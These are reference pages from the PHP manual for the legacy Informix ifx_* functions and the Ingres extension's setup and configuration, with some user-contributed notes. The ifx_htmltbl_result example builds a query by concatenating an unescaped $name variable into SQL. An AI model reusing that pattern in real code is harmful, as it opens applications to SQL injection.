while (is_array($row)) {
    for (reset($row); $fieldname=key($row); next($row)) {
        $fieldvalue = $row[$fieldname];
        printf ("%s = %s,", $fieldname, $fieldvalue);
    }
    printf("\n<br />");
    $row = ifx_fetch_row($rid, "NEXT");
}
ifx_free_result ($rid);
?>

User Contributed Notes

rpuchalsky at att dot net 11-Jan-2001 12:23
If you use a select statement that
identifies fields according to which
table they come from, i.e.

select tab1.name, tab2.phone from
tab1, tab2
where tab1.id = tab2.id

then the associative keys of the array returned by ifx_fetch_row will not include the table names.  For the example above, if you used

$row = ifx_fetch_row ($rid);

then the first field in the
returned array would be $row["name"],
not $row["tab1.name"] .
ifx_errormsg
ifx_fieldproperties
Informix Functions


List of SQL fieldproperties

ifx_fetch_row
ifx_fieldtypes
Informix Functions
PHP Manual

ifx_fieldproperties

(PHP 4, PHP <=5.2.0)

ifx_fieldproperties — List of SQL fieldproperties

Description

array ifx_fieldproperties ( resource $result_id )

Returns the Informix SQL fieldproperties of every field in the query as an associative array. Properties are encoded as: "SQLTYPE;length;precision;scale;ISNULLABLE" where SQLTYPE = the Informix type like "SQLVCHAR" etc. and ISNULLABLE = "Y" or "N".

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns an associative array with fieldnames as key and the SQL fieldproperties as data for a query with result_id. Returns FALSE on errors.

Examples

Example #1 Informix SQL fieldproperties

<?php
$properties = ifx_fieldproperties($resultid);
if (!isset($properties)) {
    /* ... error ... */
}
foreach ($properties as $fname => $val) {
    echo "$fname:\t property = $val\n";
}
?>

See Also

  • ifx_fieldtypes() - List of Informix SQL fields

User Contributed Notes

There are no user contributed notes for this page.
ifx_fetch_row
ifx_fieldtypes
Informix Functions


List of Informix SQL fields

ifx_fieldproperties
ifx_free_blob
Informix Functions
PHP Manual

ifx_fieldtypes

(PHP 4, PHP <=5.2.0)

ifx_fieldtypes — List of Informix SQL fields

Description

array ifx_fieldtypes ( resource $result_id )

Returns an associative array with fieldnames as key and the SQL fieldtypes as data for the query associated with result_id.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns an associative array with fieldnames as key and the SQL fieldtypes as data for query with result_id. Returns FALSE on error.

Examples

Example #1 Fieldnames and SQL fieldtypes

<?php
$types = ifx_fieldtypes($resultid);
if (is_array($types)) {
    foreach ($types as $fname => $val) {
        echo "$fname:\t type = $val\n";
    }
}
?>

See Also

  • ifx_fieldproperties() - List of SQL fieldproperties

User Contributed Notes

lord_edd at hotmail dot com 30-Apr-2002 06:46
Alternativly i found you can always do it like this using the foreach() loop...

    $types = @ifx_fieldtypes($resultid);
    if (isset($types))
    {
      foreach($types as $field_name => $data_type)
      {
         echo "{$field_name} {$data_type}";
      }
    }
ifx_fieldproperties
ifx_free_blob
Informix Functions


Deletes the blob object

ifx_fieldtypes
ifx_free_char
Informix Functions
PHP Manual

ifx_free_blob

(PHP 4, PHP <=5.2.0)

ifx_free_blob — Deletes the blob object

Description

bool ifx_free_blob ( int $bid )

Deletes the blobobject for the given blob object-id.

Parameters

bid

The BLOB object id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_create_blob() - Creates an blob object

User Contributed Notes

There are no user contributed notes for this page.
ifx_fieldtypes
ifx_free_char
Informix Functions


Deletes the char object

ifx_free_blob
ifx_free_result
Informix Functions
PHP Manual

ifx_free_char

(PHP 4, PHP <=5.2.0)

ifx_free_char — Deletes the char object

Description

bool ifx_free_char ( int $bid )

Deletes the charobject for the given char object-id.

Parameters

bid

The char object id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_create_char() - Creates an char object

User Contributed Notes

There are no user contributed notes for this page.
ifx_free_blob
ifx_free_result
Informix Functions


Releases resources for the query

ifx_free_char
ifx_get_blob
Informix Functions
PHP Manual

ifx_free_result

(PHP 4, PHP <=5.2.0)

ifx_free_result — Releases resources for the query

Description

bool ifx_free_result ( resource $result_id )

Releases resources for the query associated with result_id.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_do() - Execute a previously prepared SQL-statement

User Contributed Notes

There are no user contributed notes for this page.
ifx_free_char
ifx_get_blob
Informix Functions


Return the content of a blob object

ifx_free_result
ifx_get_char
Informix Functions
PHP Manual

ifx_get_blob

(PHP 4, PHP <=5.2.0)

ifx_get_blob — Return the content of a blob object

Description

string ifx_get_blob ( int $bid )

Returns the content of the blob object.

Parameters

bid

The BLOB object id.

Return Values

The contents of the BLOB as a string, or FALSE on errors.

See Also

  • ifx_get_char() - Return the content of the char object

User Contributed Notes

There are no user contributed notes for this page.
ifx_free_result
ifx_get_char
Informix Functions


Return the content of the char object

ifx_get_blob
ifx_getsqlca
Informix Functions
PHP Manual

ifx_get_char

(PHP 4, PHP <=5.2.0)

ifx_get_char — Return the content of the char object

Description

string ifx_get_char ( int $bid )

Returns the content of the char object.

Parameters

bid

The char object-id.

Return Values

Returns the contents as a string, or FALSE on errors.

See Also

  • ifx_get_blob() - Return the content of a blob object

User Contributed Notes

There are no user contributed notes for this page.
ifx_get_blob
ifx_getsqlca
Informix Functions


Get the contents of sqlca.sqlerrd[0..5] after a query

ifx_get_char
ifx_htmltbl_result
Informix Functions
PHP Manual

ifx_getsqlca

(PHP 4, PHP <=5.2.0)

ifx_getsqlca — Get the contents of sqlca.sqlerrd[0..5] after a query

Description

array ifx_getsqlca ( resource $result_id )

Returns a pseudo-row with sqlca.sqlerrd[0] ... sqlca.sqlerrd[5] after the query associated with result_id.

For inserts, updates and deletes the values returned are those as set by the server after executing the query. This gives access to the number of affected rows and the serial insert value. For SELECTs the values are those saved after the PREPARE statement. This gives access to the *estimated* number of affected rows. The use of this function saves the overhead of executing a SELECT dbinfo('sqlca.sqlerrdx') query, as it retrieves the values that were saved by the ifx driver at the appropriate moment.

Parameters

result_id

result_id is a valid result id returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns an associative array with the following entries: sqlerrd0, sqlerrd1, sqlerrd2, sqlerrd3, sqlerrd4 and sqlerrd5.

Examples

Example #1 Retrieve Informix sqlca.sqlerrd[x] values

<?php
/* assume the first column of 'sometable' is a serial */
$qid = ifx_query("insert into sometable
                  values (0, '2nd column', 'another column') ", $connid);
if (!$qid) {
    /* ... error ... */
}
$sqlca = ifx_getsqlca($qid);
$serial_value = $sqlca["sqlerrd1"];
echo "The serial value of the inserted row is : $serial_value<br />\n";
?>

User Contributed Notes

There are no user contributed notes for this page.
ifx_get_char
ifx_htmltbl_result
Informix Functions


Formats all rows of a query into a HTML table

ifx_getsqlca
ifx_nullformat
Informix Functions
PHP Manual

ifx_htmltbl_result

(PHP 4, PHP <=5.2.0)

ifx_htmltbl_result — Formats all rows of a query into a HTML table

Description

int ifx_htmltbl_result ( resource $result_id [, string $html_table_options ] )

Formats and prints all rows of the result_id query into a HTML table.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

html_table_options

This optional argument is a string of <table> tag options.

Return Values

Returns the number of fetched rows, or FALSE on errors.

Examples

Example #1 Informix results as HTML table

<?php
$rid = ifx_prepare ("select * from emp where name like " . $name,
                     $connid, IFX_SCROLL);
if (! $rid) {
    /* ... error ... */
}
$rowcount = ifx_affected_rows ($rid);
if ($rowcount > 1000) {
    printf ("Too many rows in result set (%d)\n<br />", $rowcount);
    die ("Please restrict your query<br />\n");
}
if (! ifx_do($rid)) {
    /* ... error ... */
}

ifx_htmltbl_result ($rid, "border=\"2\"");

ifx_free_result($rid);
?>

User Contributed Notes

There are no user contributed notes for this page.
ifx_getsqlca
ifx_nullformat
Informix Functions


Sets the default return value on a fetch row

ifx_htmltbl_result
ifx_num_fields
Informix Functions
PHP Manual

ifx_nullformat

(PHP 4, PHP <=5.2.0)

ifx_nullformat — Sets the default return value on a fetch row

Description

bool ifx_nullformat ( int $mode )

Sets the default return value of a NULL-value on a fetch row.

Parameters

mode

Mode "0" returns "", and mode "1" returns "NULL".

Return Values

Returns TRUE on success or FALSE on failure.

User Contributed Notes

There are no user contributed notes for this page.
ifx_htmltbl_result
ifx_num_fields
Informix Functions


Returns the number of columns in the query

ifx_nullformat
ifx_num_rows
Informix Functions
PHP Manual

ifx_num_fields

(PHP 4, PHP <=5.2.0)

ifx_num_fields — Returns the number of columns in the query

Description

int ifx_num_fields ( resource $result_id )

After preparing or executing a query, this call gives you the number of columns in the query.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns the number of columns in query for result_id, or FALSE on errors.

Examples

Example #1 ifx_num_fields() Example

<?php
$conn_id = ifx_connect("db", "user", "password");
$res_id = ifx_query("select * from systables", $conn_id);
echo ifx_num_fields($res_id);
?>

See Also

  • ifx_num_rows() - Count the rows already fetched from a query

User Contributed Notes

There are no user contributed notes for this page.
ifx_nullformat
ifx_num_rows
Informix Functions


Count the rows already fetched from a query

ifx_num_fields
ifx_pconnect
Informix Functions
PHP Manual

ifx_num_rows

(PHP 4, PHP <=5.2.0)

ifx_num_rows — Count the rows already fetched from a query

Description

int ifx_num_rows ( resource $result_id )

Gives the number of rows fetched so far for a query with result_id after a ifx_query() or ifx_do() query.

Parameters

result_id

result_id is a valid resultid returned by ifx_query() or ifx_prepare() (select type queries only!).

Return Values

Returns the number of fetched rows or FALSE on errors.

See Also

  • ifx_num_fields() - Returns the number of columns in the query

User Contributed Notes

evandrosimenes at hotmail dot com 13-Jan-2009 04:10
if you use this function following:

<?php
$query = ifx_query("SELECT * FROM systables", $connection);
$rows  = ifx_num_rows($query);
?>

this way it doesn't work...

the correct is:

<?php
$query = ifx_query("SELECT * FROM systables", $connection);
$fetch = ifx_fetch_row($query);
$rows  = ifx_num_rows($query);
?>

this way it work...

the informix doesn't returns anything (only with ifx_num_rows) if you don't open the results of query (with ifx_fetch_row)
icespawn11882 at hotmail dot com 20-Apr-2005 03:56
This function give always 0 as result so I used ifx_affected_rows to count rows of a query's result...

An example of this function:

$conn_id = ifx_connect("db", "user", "password");
$res_id = ifx_query("select * from systables", $conn_id);
$res = ifx_affected_rows($res_id);
echo $res;

$res contains the number of rows in the result of the query after his execution.

Para Massimiliano
ifx_num_fields
ifx_pconnect
Informix Functions


Open persistent Informix connection

ifx_num_rows
ifx_prepare
Informix Functions
PHP Manual

ifx_pconnect

(PHP 4, PHP <=5.2.0)

ifx_pconnect — Open persistent Informix connection

Description

resource ifx_pconnect ([ string $database [, string $userid [, string $password ]]] )

ifx_pconnect() acts very much like ifx_connect() with two major differences.

First, when connecting, the function would first try to find a (persistent) link that's already open with the same host, username and password. If one is found, an identifier for it will be returned instead of opening a new connection.

Second, the connection to the SQL server will not be closed when the execution of the script ends. Instead, the link will remain open for future use (ifx_close() will not close links established by ifx_pconnect()).

This type of links is therefore called 'persistent'.

Parameters

All of the arguments are optional, and if they're missing, defaults are taken from values supplied in php.ini (ifx.default_host for the host (Informix libraries will use INFORMIXSERVER environment value if not defined), ifx.default_user for user, ifx.default_password for the password (none if not defined).

database

The database name, as a string.

userid

The username, as a string.

password

The password, as a string.

Return Values

Returns: valid Informix persistent link identifier on success, or FALSE on errors.

See Also

  • ifx_connect() - Open Informix server connection

User Contributed Notes

There are no user contributed notes for this page.
ifx_num_rows
ifx_prepare
Informix Functions


Prepare an SQL-statement for execution

ifx_pconnect
ifx_query
Informix Functions
PHP Manual

ifx_prepare

(PHP 4, PHP <=5.2.0)

ifx_prepare — Prepare an SQL-statement for execution

Description

resource ifx_prepare ( string $query , resource $link_identifier [, int $cursor_def ], mixed $blobidarray )

Prepares a query for later use with ifx_do().

For "select-type" queries a cursor is declared and opened. Non-select queries are "execute immediate".

For either query type the number of (estimated or real) affected rows is saved for retrieval by ifx_affected_rows().

If the contents of the TEXT (or BYTE) column allow it, you can also use ifx_textasvarchar(1) and ifx_byteasvarchar(1). This allows you to treat TEXT (or BYTE) columns just as if they were ordinary (but long) VARCHAR columns for select queries, and you don't need to bother with blob id's.

With ifx_textasvarchar(0) or ifx_byteasvarchar(0) (the default situation), select queries will return BLOB columns as blob id's (integer value). You can get the value of the blob as a string or file with the blob functions (see below).

Parameters

query

The query string.

link_identifier

The link identifier.

cursor_def

This optional parameter allows you to make this a scroll and/or hold cursor. It's a bitmask and can be either IFX_SCROLL, IFX_HOLD, or both or'ed together.

blobidarray

If you have BLOB (BYTE or TEXT) columns in the query, you can add a blobidarray parameter containing the corresponding "blob ids", and you should replace those columns with a "?" in the query text.

Return Values

Returns a valid result identifier for use by ifx_do(), or FALSE on errors.

See Also

  • ifx_do() - Execute a previously prepared SQL-statement

User Contributed Notes

icespawn11882 at hotmail dot com 02-Mar-2005 08:41
This is an example to use this function

$conn = fx_connect( "db", "user", "password" );
$result = ifx_prepare("SELECT customer_num, company FROM customer", $conn);
ifx_do($result);

ifx_prepare associate an int to the query; we use this int with ifx_do

Para Massimiliano
ifx_pconnect
ifx_query
Informix Functions


Send Informix query

ifx_prepare
ifx_textasvarchar
Informix Functions
PHP Manual

ifx_query

(PHP 4, PHP <=5.2.0)

ifx_query — Send Informix query

Description

resource ifx_query ( string $query , resource $link_identifier [, int $cursor_type [, mixed $blobidarray ]] )

Sends a query to the currently active database on the server that's associated with the specified link identifier.

For "select-type" queries a cursor is declared and opened. Non-select queries are "execute immediate".

For either query type the number of (estimated or real) affected rows is saved for retrieval by ifx_affected_rows().

If the contents of the TEXT (or BYTE) column allow it, you can also use ifx_textasvarchar(1) and ifx_byteasvarchar(1). This allows you to treat TEXT (or BYTE) columns just as if they were ordinary (but long) VARCHAR columns for select queries, and you don't need to bother with blob id's.

With ifx_textasvarchar(0) or ifx_byteasvarchar(0) (the default situation), select queries will return BLOB columns as blob id's (integer value). You can get the value of the blob as a string or file with the blob functions (see below).

Parameters

query

The query string.

link_identifier

The link identifier.

cursor_def

This optional parameter allows you to make this a scroll and/or hold cursor. It's a bitmask and can be either IFX_SCROLL, IFX_HOLD, or both or'ed together. I you omit this parameter the cursor is a normal sequential cursor.

blobidarray

If you have BLOB (BYTE or TEXT) columns in the query, you can add a blobidarray parameter containing the corresponding "blob ids", and you should replace those columns with a "?" in the query text.

Return Values

Returns valid Informix result identifier on success, or FALSE on errors.

Examples

Example #1 Show all rows of the "orders" table as a HTML table

<?php
ifx_textasvarchar(1);      // use "text mode" for blobs
$res_id = ifx_query("select * from orders", $conn_id);
if (! $res_id) {
    printf("Can't select orders : %s\n<br />%s<br />\n", ifx_error(), ifx_errormsg());
    die;
}
ifx_htmltbl_result($res_id, "border=\"1\"");
ifx_free_result($res_id);
?>

Example #2 Insert some values into the "catalog" table

<?php

// create blob id's for a byte and text column
$textid = ifx_create_blob(0, 0, "Text column in memory");
$byteid = ifx_create_blob(1, 0, "Byte column in memory");

// store blob id's in a blobid array
$blobidarray[] = $textid;
$blobidarray[] = $byteid;

// launch query
$query = "insert into catalog (stock_num, manu_code, " .
         "cat_descr,cat_picture) values(1,'HRO',?,?)";
$res_id = ifx_query($query, $conn_id, $blobidarray);
if (! $res_id) {
    /* ... error ... */
}

// free result id
ifx_free_result($res_id);
?>

See Also

  • ifx_connect() - Open Informix server connection

User Contributed Notes

There are no user contributed notes for this page.
ifx_prepare
ifx_textasvarchar
Informix Functions


Set the default text mode

ifx_query
ifx_update_blob
Informix Functions
PHP Manual

ifx_textasvarchar

(PHP 4, PHP <=5.2.0)

ifx_textasvarchar — Set the default text mode

Description

bool ifx_textasvarchar ( int $mode )

Sets the default text mode for all select-queries.

Parameters

mode

Mode "0" will return a blob id, and mode "1" will return a varchar with text content.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_byteasvarchar() - Set the default byte mode

User Contributed Notes

There are no user contributed notes for this page.
ifx_query
ifx_update_blob
Informix Functions


Updates the content of the blob object

ifx_textasvarchar
ifx_update_char
Informix Functions
PHP Manual

ifx_update_blob

(PHP 4, PHP <=5.2.0)

ifx_update_blob — Updates the content of the blob object

Description

bool ifx_update_blob ( int $bid , string $content )

Updates the content of the blob object for the given blob object bid.

Parameters

bid

A BLOB object identifier.

content

The new data, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_update_char() - Updates the content of the char object

User Contributed Notes

There are no user contributed notes for this page.
ifx_textasvarchar
ifx_update_char
Informix Functions


Updates the content of the char object

ifx_update_blob
ifxus_close_slob
Informix Functions
PHP Manual

ifx_update_char

(PHP 4, PHP <=5.2.0)

ifx_update_char — Updates the content of the char object

Description

bool ifx_update_char ( int $bid , string $content )

Updates the content of the char object for the given char object bid.

Parameters

bid

A char object identifier.

content

The new data, as a string.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifx_update_blob() - Updates the content of the blob object

User Contributed Notes

There are no user contributed notes for this page.
ifx_update_blob
ifxus_close_slob
Informix Functions


Deletes the slob object

ifx_update_char
ifxus_create_slob
Informix Functions
PHP Manual

ifxus_close_slob

(PHP 4, PHP <=5.2.0)

ifxus_close_slob — Deletes the slob object

Description

bool ifxus_close_slob ( int $bid )

Deletes the slob object on the given slob object-id bid.

Parameters

bid

An existing slob id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifxus_open_slob() - Opens an slob object

User Contributed Notes

There are no user contributed notes for this page.
ifx_update_char
ifxus_create_slob
Informix Functions


Creates an slob object and opens it

ifxus_close_slob
ifxus_free_slob
Informix Functions
PHP Manual

ifxus_create_slob

(PHP 4, PHP <=5.2.0)

ifxus_create_slob — Creates an slob object and opens it

Description

int ifxus_create_slob ( int $mode )

Creates an slob object and opens it.

Parameters

mode

A combination of IFX_LO_RDONLY, IFX_LO_WRONLY, IFX_LO_APPEND IFX_LO_RDWR, IFX_LO_BUFFER, IFX_LO_NOBUFFER.

Return Values

Return the new slob object-id, or FALSE on errors.

See Also

  • ifxus_close_slob() - Deletes the slob object
  • ifxus_free_slob() - Deletes the slob object

User Contributed Notes

There are no user contributed notes for this page.
ifxus_close_slob
ifxus_free_slob
Informix Functions


Deletes the slob object

ifxus_create_slob
ifxus_open_slob
Informix Functions
PHP Manual

ifxus_free_slob

(PHP 4, PHP <=5.2.0)

ifxus_free_slob — Deletes the slob object

Description

bool ifxus_free_slob ( int $bid )

Deletes the slob object.

Parameters

bid

An existing slob id.

Return Values

Returns TRUE on success or FALSE on failure.

See Also

  • ifxus_close_slob() - Deletes the slob object

User Contributed Notes

There are no user contributed notes for this page.
ifxus_create_slob
ifxus_open_slob
Informix Functions


Opens an slob object

ifxus_free_slob
ifxus_read_slob
Informix Functions
PHP Manual

ifxus_open_slob

(PHP 4, PHP <=5.2.0)

ifxus_open_slob — Opens an slob object

Description

int ifxus_open_slob ( int $bid , int $mode )

Opens an slob object. bid should be an existing slob id.

Parameters

bid

An existing slob id.

mode

A combination of IFX_LO_RDONLY, IFX_LO_WRONLY, IFX_LO_APPEND IFX_LO_RDWR, IFX_LO_BUFFER, IFX_LO_NOBUFFER.

Return Values

Returns the new slob object-id, or FALSE on errors.

See Also

  • ifxus_close_slob() - Deletes the slob object
  • ifxus_free_slob() - Deletes the slob object

User Contributed Notes

There are no user contributed notes for this page.
ifxus_free_slob
ifxus_read_slob
Informix Functions


Reads nbytes of the slob object

ifxus_open_slob
ifxus_seek_slob
Informix Functions
PHP Manual

ifxus_read_slob

(PHP 4, PHP <=5.2.0)

ifxus_read_slob — Reads nbytes of the slob object

Description

string ifxus_read_slob ( int $bid , int $nbytes )

Reads nbytes of the slob object.

Parameters

bid

An existing slob id.

nbytes

The number of bytes to read.

Return Values

Returns the slob contents as a string, or FALSE on errors.

See Also

  • ifxus_write_slob() - Writes a string into the slob object

User Contributed Notes

There are no user contributed notes for this page.
ifxus_open_slob
ifxus_seek_slob
Informix Functions


Sets the current file or seek position

ifxus_read_slob
ifxus_tell_slob
Informix Functions
PHP Manual

ifxus_seek_slob

(PHP 4, PHP <=5.2.0)

ifxus_seek_slob — Sets the current file or seek position

Description

int ifxus_seek_slob ( int $bid , int $mode , int $offset )

Sets the current file or seek position of an open slob object.

Parameters

bid

An existing slob id.

mode

0 = LO_SEEK_SET, 1 = LO_SEEK_CUR, 2 = LO_SEEK_END.

offset

A byte offset.

Return Values

Returns the seek position as an integer, or FALSE on errors.

See Also

  • ifxus_tell_slob() - Returns the current file or seek position

User Contributed Notes

There are no user contributed notes for this page.
ifxus_read_slob
ifxus_tell_slob
Informix Functions


Returns the current file or seek position

ifxus_seek_slob
ifxus_write_slob
Informix Functions
PHP Manual

ifxus_tell_slob

(PHP 4, PHP <=5.2.0)

ifxus_tell_slob — Returns the current file or seek position

Description

int ifxus_tell_slob ( int $bid )

Returns the current file or seek position of an open slob object

Parameters

bid

An existing slob id.

Return Values

Returns the seek position as an integer, or FALSE on errors.

See Also

  • ifxus_seek_slob() - Sets the current file or seek position

User Contributed Notes

There are no user contributed notes for this page.
ifxus_seek_slob
ifxus_write_slob
Informix Functions


Writes a string into the slob object

ifxus_tell_slob
Ingres
Informix Functions
PHP Manual

ifxus_write_slob

(PHP 4, PHP <=5.2.0)

ifxus_write_slob — Writes a string into the slob object

Description

int ifxus_write_slob ( int $bid , string $content )

Writes a string into the slob object.

Parameters

bid

An existing slob id.

content

The content to write, as a string.

Return Values

Returns the bytes written as an integer, or FALSE on errors.

See Also

  • ifxus_read_slob() - Reads nbytes of the slob object

User Contributed Notes

There are no user contributed notes for this page.
ifxus_tell_slob
Ingres
Informix Functions


Ingres DBMS, EDBC, and Enterprise Access Gateways

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types
  • Predefined Constants
  • Examples
    • Basic usage
  • Ingres Functions
    • ingres_autocommit_state — Test if the connection is using autocommit
    • ingres_autocommit — Switch autocommit on or off
    • ingres_charset — Returns the installation character set
    • ingres_close — Close an Ingres database connection
    • ingres_commit — Commit a transaction
    • ingres_connect — Open a connection to an Ingres database
    • ingres_cursor — Get a cursor name for a given result resource
    • ingres_errno — Get the last Ingres error number generated
    • ingres_error — Get a meaningful error message for the last error generated
    • ingres_errsqlstate — Get the last SQLSTATE error code generated
    • ingres_escape_string — Escape special characters for use in a query
    • ingres_execute — Execute a prepared query
    • ingres_fetch_array — Fetch a row of result into an array
    • ingres_fetch_assoc — Fetch a row of result into an associative array
    • ingres_fetch_object — Fetch a row of result into an object
    • ingres_fetch_proc_return — Get the return value from a procedure call
    • ingres_fetch_row — Fetch a row of result into an enumerated array
    • ingres_field_length — Get the length of a field
    • ingres_field_name — Get the name of a field in a query result
    • ingres_field_nullable — Test if a field is nullable
    • ingres_field_precision — Get the precision of a field
    • ingres_field_scale — Get the scale of a field
    • ingres_field_type — Get the type of a field in a query result
    • ingres_free_result — Free the resources associated with a result identifier
    • ingres_next_error — Get the next Ingres error
    • ingres_num_fields — Get the number of fields returned by the last query
    • ingres_num_rows — Get the number of rows affected or returned by a query
    • ingres_pconnect — Open a persistent connection to an Ingres database
    • ingres_prepare — Prepare a query for later execution
    • ingres_query — Send an SQL query to Ingres
    • ingres_result_seek — Set the row position before fetching data
    • ingres_rollback — Roll back a transaction
    • ingres_set_environment — Set environment features controlling output options
    • ingres_unbuffered_query — Send an unbuffered SQL query to Ingres

User Contributed Notes

There are no user contributed notes for this page.
ifxus_write_slob
Introduction
Vendor Specific Database Extensions


Introduction

The Ingres driver for PHP enables you to connect to and query the Ingres DBMS, EDBC, and Enterprise Access Gateways.

Note:

This extension has been moved to the » PECL repository and is no longer bundled with PHP as of PHP 5.1.0.

User Contributed Notes

There are no user contributed notes for this page.
Ingres
Installing/Configuring
Ingres


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration
  • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Ingres


Requirements

To use or build the PHP extension for Ingres you must have a working Ingres client environment. You can download the client software for Ingres from » http://esd.ingres.com/.

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

This » PECL extension is not bundled with PHP. Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/ingres.

You can download the DLL for this PECL extension from » http://esd.ingres.com/product/drivers/PHP/.

To have these functions available, you must » download and compile this extension, enabling Ingres support using the --with-ingres[=DIR] option, where DIR is the Ingres base directory. If the II_SYSTEM environment variable is not set correctly you may need to use --with-ingres=DIR to specify your Ingres installation directory.

PHP code written for version 2.x and later is not backward-compatible with earlier versions of this PHP extension. However, it is possible to run two incompatible releases within the same PHP environment using the --enable-ingres2 option. This configuration option renames the extension to ingres2, changing function names, configuration settings, and constants. For example, with this option enabled, ingres_connect() becomes ingres2_connect().

To use this extension the system environment variable II_SYSTEM must be defined. Linux and UNIX users will also need to define the shared library search path, for example, LD_LIBRARY_PATH. When used with the Apache web server these variables must be set explicitly in the startup script for Apache. In addition, the PassEnv directive is required for the Ingres extension to load the correct shared libraries. For example:

Example #1 Example usage of PassEnv for Ingres

<IfModule mod_env.c>
    PassEnv II_SYSTEM
    PassEnv LD_LIBRARY_PATH
</IfModule>

Note:

For example configurations for different web servers and operating systems see » http://community.ingres.com/wiki/Ingres_Articles#Ingres_and_Web_Servers.

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

The behaviour of these functions is affected by settings in php.ini.

Ingres configuration options
Name | Default | Changeable | Changelog
ingres.allow_persistent | "1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.array_index_start | "1" | PHP_INI_ALL | Available since ingres 1.4.0.
ingres.auto | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.blob_segment_length | "4096" | PHP_INI_ALL | Available since ingres 1.2.0.
ingres.cursor_mode | "0" | PHP_INI_ALL | Available since ingres 1.1.0.
ingres.default_database | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.default_password | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.default_user | NULL | PHP_INI_ALL | Available since ingres 1.0.0
ingres.describe | 1 | PHP_INI_ALL | Available since ingres 2.1.0
ingres.fetch_buffer_size | 100 | PHP_INI_ALL | Available since ingres 2.1.0
ingres.max_links | "-1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.max_persistent | "-1" | PHP_INI_SYSTEM | Available since ingres 1.0.0
ingres.reuse_connection | "1" | PHP_INI_ALL | Available since ingres 2.0.0
ingres.scrollable | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.trace | "0" | PHP_INI_ALL | Available since ingres 2.0.0.
ingres.trace_connect | "0" | PHP_INI_ALL | Available since ingres 1.2.1.
ingres.utf8 | "1" | PHP_INI_ALL | Available since ingres 2.0.0.
For further details and definitions of the PHP_INI_* modes, see the Where a configuration setting may be set.

Here's a short explanation of the configuration directives.

ingres.allow_persistent boolean

Specifies whether to allow persistent connections to Ingres

ingres.array_index_start integer

Specifies the start value for an integer key for arrays generated by ingres_fetch_row() or ingres_fetch_array(). By default ingres.array_index_start is set to 1. If you wish to make the ingres extension behave like other database extensions set this configuration option to 0.

ingres.auto boolean

Enables or disables autocommit emulation. Ingres cannot have multiple cursors open with autocommit enabled. When enabled, the driver emulates autocommit.

ingres.blob_segment_length integer

Specifies the amount of memory to use when reading BLOB data, in bytes

ingres.cursor_mode integer

Specifies the default mode for cursors opened with ingres_prepare(). Valid values are INGRES_CURSOR_UPDATE or INGRES_CURSOR_READONLY.

ingres.default_database string

Specifies the default database name to use when connecting to the database server if no other name is specified. Does not apply in SQL safe mode.

ingres.default_password string

Specifies the default password to use when connecting to the database server if no other name is specified. Does not apply in SQL safe mode.

ingres.default_user string

Specifies the default user name to use when connecting to the database server if no other name is specified. Does not apply in SQL safe mode.

ingres.describe boolean

Enables the use of DESCRIBE INPUT to determine the expected data types for queries that use parameters. Available with Ingres 9.1.0 and later. When disabled, queries that have parameters passed may need to manually describe the types of those parameters using the types parameter in ingres_query().

Note:

Enabling this feature with ingres_query() will cause additional communications traffic between this extension and the server. To minimize this additional traffic, use ingres_prepare() and ingres_execute().

ingres.fetch_buffer_size integer

Specifies the number of pre-fetch rows that ingres_fetch_array(), ingres_fetch_object() and ingres_fetch_row() will try and fetch in one fetch operation.

ingres.max_links integer

Specifies the maximum number of Ingres sessions allowed per process or thread. The number of sessions should not exceed the total number of connected sessions configured within Ingres.

ingres.max_persistent integer

Specifies the maximum number of persistent Ingres sessions allowed per process or thread. The number of sessions should not exceed the total number of connected sessions configured within Ingres.

ingres.reuse_connection boolean

Reuses an existing active connection if connecting to the same database with the same user name

ingres.scrollable boolean

Enables support for scrollable cursors. When fetching CLOB or BLOB data, this should be set to FALSE. Available with Ingres 9.2.0 or later.

ingres.trace boolean

Enables simple tracing using E_NOTICE messages

ingres.trace_connect boolean

Prints E_NOTICE messages during ingres_connect() or ingres_pconnect() calls

ingres.utf8 boolean

Assumes that strings being passed to National Character column types (NVARCHAR or NCHAR) are using UTF8 encoding and converts them to UTF16 for the server

User Contributed Notes

There are no user contributed notes for this page.
Installation
Resource Types
Installing/Configuring


Resource Types

ingres_connect() and ingres_pconnect() return an Ingres link identifier.

ingres_query() and ingres_unbuffered_query() return an Ingres result identifier.

User Contributed Notes

There are no user contributed notes for this page.
Runtime Configuration
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

INGRES_ASSOC (integer)
Columns are returned into the array having the fieldname as the array index. Used with ingres_fetch_array().
INGRES_NUM (integer)
Columns are returned into the array having a numerical index to the fields. By default this index starts at 1, the first field in the result. To change this value, see ingres.array_index_start. Used with ingres_fetch_array().
